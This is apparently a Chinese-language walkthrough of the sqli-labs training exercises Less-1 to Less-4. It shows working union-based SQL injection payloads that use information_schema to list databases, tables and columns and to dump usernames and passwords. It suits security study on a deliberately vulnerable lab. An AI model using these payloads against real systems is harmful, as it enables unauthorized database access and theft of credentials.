background
Mysql 有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,
我们利用该表可以进行一次完整的注入。以下为一般的流程。
实例
select table_name from information_schema.tables where table_schema = "s
ecurity";
//查出security数据库的所有数据表
查询所有数据库
select group_concat(schema_name) from information_schema.schemata
查询某库的数据表
select group_concat(table_name) from information_schema.tables where table_schema=’xxxxx’
查询某表的所有列
select group_concat(column_name) from information_schema.columns where table_name=’xxxxx’
获取列的内容
select group_concat(id,username,password) from table.name
常用函数
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
less-1
0x01 猜解后台sql语句,构造poc
加单引号 '
报错
near ''1'' LIMIT 0,1' at line 1
分析后台sql语句
'1''
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
构造poc
id=1' or 1=1 --+
0x02 列字段
分析user
表可知,存在id
,username
,password
三个字段
background
order by n
当n小于正确字段时,回显true
;
当n大于正确字段时,回显false
;
这里采用order by 3
0x03 联合注入
id=-1' union select 1,2,3
//1,2,3为order by 列出的字段个数
background
当id
的数据在数据库中不存在时,前台页面返回我们构造的union的数据
0x04 查询数据库
id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
0x05 查询指定数据库中的数据表
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = "security"--+
0x06 查询指定数据表中的字段
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = "users"--+
0x07 查询指定字段中的数据
id=-1' union select 1,group_concat(id,username,password),3 from users--+
less-2
猜解后台sql语句,构造poc
加单引号'
报错信息
near '' LIMIT 0,1' at line 1
源代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
构造poc
id=1 and 1=1 --+
less-3
猜解后台sql语句,构造poc
加单引号'
报错信息
near ''1 '') LIMIT 0,1' at line 1
源代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
构造poc
id=1 ') --+
less-4
猜解后台sql语句,构造poc
加号'")"
报错信息
near '") LIMIT 0,1' at line 1
源代码
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
构造poc
id=1'") --+